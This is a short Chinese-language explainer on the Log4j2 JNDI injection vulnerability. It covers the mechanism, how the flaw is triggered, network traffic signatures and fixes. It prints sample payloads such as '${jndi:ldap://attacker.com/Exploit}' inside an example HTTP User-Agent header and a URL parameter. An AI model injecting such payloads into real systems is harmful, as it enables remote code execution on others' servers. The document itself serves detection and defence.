log4j2漏洞

Log4j2 漏洞概述

Log4j2 是 Apache 软件基金会开发的一个日志框架,广泛用于 Java 应用中记录运行时日志。漏洞主要源于 Log4j2 的日志处理功能中,某些特性(如 JNDI 注入)被攻击者滥用,从而引发严重的远程代码执行(RCE)漏洞。

漏洞原理

Apache Log4j2 的 JNDI Lookup 功能允许通过日志消息中的 JNDI 名称引用外部资源。攻击者可以构造包含恶意 JNDI 名称的日志消息,通过网络发送给受影响的应用程序。当 Log4j2 解析日志消息时,会尝试加载远程恶意脚本,从而RCE漏洞产生

JNDI 注入

JNDI(Java Naming and Directory Interface) 是 Java 提供的一种目录服务 API,用于查找和加载资源或对象。
Log4j2 在日志功能中支持动态解析类似 ${}​ 的占位符字符串,提供了强大的灵活性。
当日志字符串中包含 ${jndi:ldap://malicious-server}​ 时,Log4j2 会尝试通过 JNDI 去远程加载资源。如果目标是攻击者控制的恶意 LDAP 服务器,则攻击者可以返回恶意的 Java 类字节码,导致远程代码执行。

漏洞触发过程

1.
攻击者构造一个恶意日志字符串,例如:
${jndi:ldap://attacker.com/Exploit}
2.
该字符串被传递到应用程序的日志处理逻辑(例如 logger.info()​)。
3.
Log4j2 解析日志字符串中的 JNDI 表达式,尝试通过 LDAP 或其他协议加载远程对象。
4.
如果恶意服务器返回一个恶意 Java 类文件,Log4j2 会加载并执行该类的字节码,触发 RCE。

流量特征

请求头中的useragent头或者是referer或含有包含 ${jndi:...}​ 的形式,后续跟上攻击者控制的远程服务器地址,还有一些协议协议关键字,例如ldap:// , rmi:// , dns://
HTTP请求中包含特定的User-Agent头,如“ Log4j2”或“ Log4jAPI/2.0.8”等,可能还有有一些恶意的密文
攻击成功后可能会有,“JNDI lookup successful”,${env:os.name}​、${env:hostname}​等动态信息

漏洞利用方式

常见的攻击场景

1.
通过 HTTP 请求头: 攻击者将恶意字符串注入到 HTTP 请求头(如 User-Agent​、Referer​)中。例如:
GET / HTTP/1.1 Host: victim.com User-Agent: ${jndi:ldap://attacker.com/Exploit}
2.
通过 HTTP 请求参数: 恶意字符串被注入到 URL 参数中。例如:
http://victim.com/search?query=${jndi:ldap://attacker.com/Exploit}

4. 漏洞修复

1.
升级 Log4j2 版本
2.
禁用 JNDI 功能
3.
移除 JndiLookup
4.
升级依赖软件